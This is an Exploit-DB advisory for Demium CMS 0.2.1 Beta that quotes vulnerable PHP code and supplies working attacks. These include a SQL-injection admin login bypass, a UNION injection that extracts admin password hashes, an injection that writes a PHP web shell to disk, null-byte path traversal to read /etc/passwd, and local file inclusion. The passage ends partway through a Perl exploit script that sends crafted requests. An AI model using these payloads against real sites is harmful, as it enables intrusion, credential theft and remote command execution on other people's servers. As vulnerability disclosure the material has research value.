Exploit-DB #8124
Description: Demium CMS 0.2.1b - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-02-27
Author: Osirys

Exploit:
Demium CMS, version 0.2.1 Beta, is prone to multiple remote vulnerabilities, because of insufficient security on it. Let's see them. In this advisory
you can find vulnerabilities, afflicted source, and multiple Remote Exploit.


Credits to : Giovanni Buzzin, Osirys
Contact    : osirys[at]autistici[dot]org
Website    : http://osirys.org
Download   : http://www.demium.de/ftp/archive/demium_beta_v.0.2.1.rar


[0x01 - Authority Bypass via Sql Injection]

	At first, it's vulnerable to Authority Bypass via Sql Injection. Needs Magic Quotes OFF to work, because CMS dosn't stripslash on
	POST data.
	
	Vulnerable file is: /[path]/index_admin.php
	[CODE]
		$username = $_POST['user'];
		$pw = md5($_POST['pw']);
		$sql = "SELECT * FROM cms_profile WHERE profile_username = '$username' AND profile_password = '$pw' AND profile_aktiv=1;";
		$result = mysql_query($sql);
		$failure=true;
		while($row = mysql_fetch_assoc($result))
			{
			$failure=false;
			setcookie("login_pw", $pw, (time()+(60*60*24*365)));
			setcookie("login_user", $username, (time()+(60*60*24*365)));
			header("Location: /demium_beta_v.0.2.1//index_admin.php?loading=1");
			}
		}
	[/CODE]

	To exploit this vulnerability, and become Administrator, just put this in username form: admin_user' or '1=1
	Where admin_user is the real nickname of the Administrator, by default: admin.

[/0x01]

[0x02 - Remote SQL Injection]

	Multiple SQL Injection vulnerabilities found on this CMS. I just report the first one that I found. Needs Magic Quotes needs to be OFF
        because this CMS doesn't stripslash on GET incoming data.

	Vulnerable file is: /[path]/tracking.php
	[CODE]

		<?php
		### Kat-Tracking ###
		$follow=$_GET['follow_kat'];
		$check=FALSE;
		include('config/db_file.php');
		include('logging/tracking.php');

		$sql="SELECT tracking_kat_target FROM cms_tracking_kat WHERE tracking_kat_id='$follow';";
		$result=mysql_query($sql);
		while($row=mysql_fetch_assoc($result))
			{
			$check=TRUE;
		// code
		if($check==TRUE)
			{
			?>
			<script language="javascript">
				window.setTimeout("location.replace('<?php echo $target; ?>')","0");
			</script>
			<?php
			}

	[/CODE]

	$follow comes directly from GET, and it's put in the SQL query without been sanized or filtered. If the SQL query is TRUE, rows will
	be printed on the url.

	Exploit to obtain admin's password: /[path]/tracking.php?follow_kat=osirys' union select concat(profile_username,0x3a,profile_password) from cms_profile order by '*
	Exploit to create a shell:          /[path]/tracking.php?follow_kat=osirys' union select '<?php system($_GET[cmd]); ?>' into outfile '/tmp/sh_spawn_ownz.txt

	Exploit #1 will produce a GET request to a non existing file, since after the exploit the remote user will be redirected to host/sql_output/.html
	Testing this SQL Injection in local I got redirected to this URL: http://localhost/admin:5f4dcc3b5aa765d61d8327deb882cf99/.html , producing the classic:
	The requested URL /admin:5f4dcc3b5aa765d61d8327deb882cf99/.html was not found on this server.

	Exploit #2 just create a file called "sh_spawn_ownz.txt" with "<?php system($_GET[cmd]); ?>" as content, yes, a Remote Shell. With LFI vulnerability the remote user will
	be able to include the created file and executes command.

	Exploit provided at the end of the adviosory.


[/0x02]

[0x03 - Remote File Disclosure]

	It's also vulnerable to File Disclore, with a GET request a remote user is able to read files content. It's not a file inclusion, but a fread
	of a local file. Let's see the vulnerable code.

	Vulnerable file is: /[path]/urheber.php
	[CODE]
		<?php
		$fname=$_GET['name'];
		if($handle = @fopen("template/".$fname."/agb.cff", "r"))
			{
			$contents = fread ($handle, filesize ("template/".$fname."/agb.cff"));
			$contents = str_replace("\n", "<br>", $contents);
			echo $contents;
			}
		// Other code
	[/CODE]

	$fname comes directly from GET, without been cheeked before. From get we can se it's value, and adding a NULL BYTE %00 a remote user will
	be able to read the content of the selected file.
	Attach example: /[path]/urheber.php?name=../content.php%00
        This request will show /[path]/content.php source code.
        Attach example #2 : /[path]/urheber.php?name=../../../../../../../../../../etc/passwd%00

[/0x03]

[0x04 - Local File Inclusion]

	This CMS, it's also affected to Local File Inclusion, a remote user will able to include and execute local file on the server.
	I coded then a simple exploit to obtain a Remote Command Execution, creating a malicious file on the server, to include it then with the LFI.

	Vulnerable file is: /[path]/content.php
	[CODE]
		<?php
		include('config/db_file.php');
		include('config/rights.php');
		$include = "overview";
		if($_GET['include'])
			$include = $_GET['include'];
		if($_COOKIE['login_user'] && $_COOKIE['login_pw'])
		@include('modules/'.$include.'.php');
		?>
	[/CODE]

	In case of remote user's user and password cookies, the script will include GET data, simple Perl sploit at the end of the advisory.

[/0x04]



#########
Exploits section now.
####


[$$ - Local File Inclusion Exploit]

#!/usr/bin/perl

# LFI Sploit
# by Osirys

use IO::Socket;

my $host   = $ARGV[0];

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

&exploit;

sub exploit () {
    print "\n[*] Include: ";
    chomp($l_file = <STDIN>);

    print "\n";
    $l_file !~ /exit/ || die "Exiting ..";
    if ($l_file !~ /%00^/) {
        $l_file = $l_file."%00";
    }

    my $url = $path."/content.php?include=".$l_file;

    my $data = "GET ".$url." HTTP/1.1\r\n".
               "Host: ".$h0st."\r\n".
               "Keep-Alive: 300\r\n".
               "Connection: keep-alive\r\n".
               "Content-T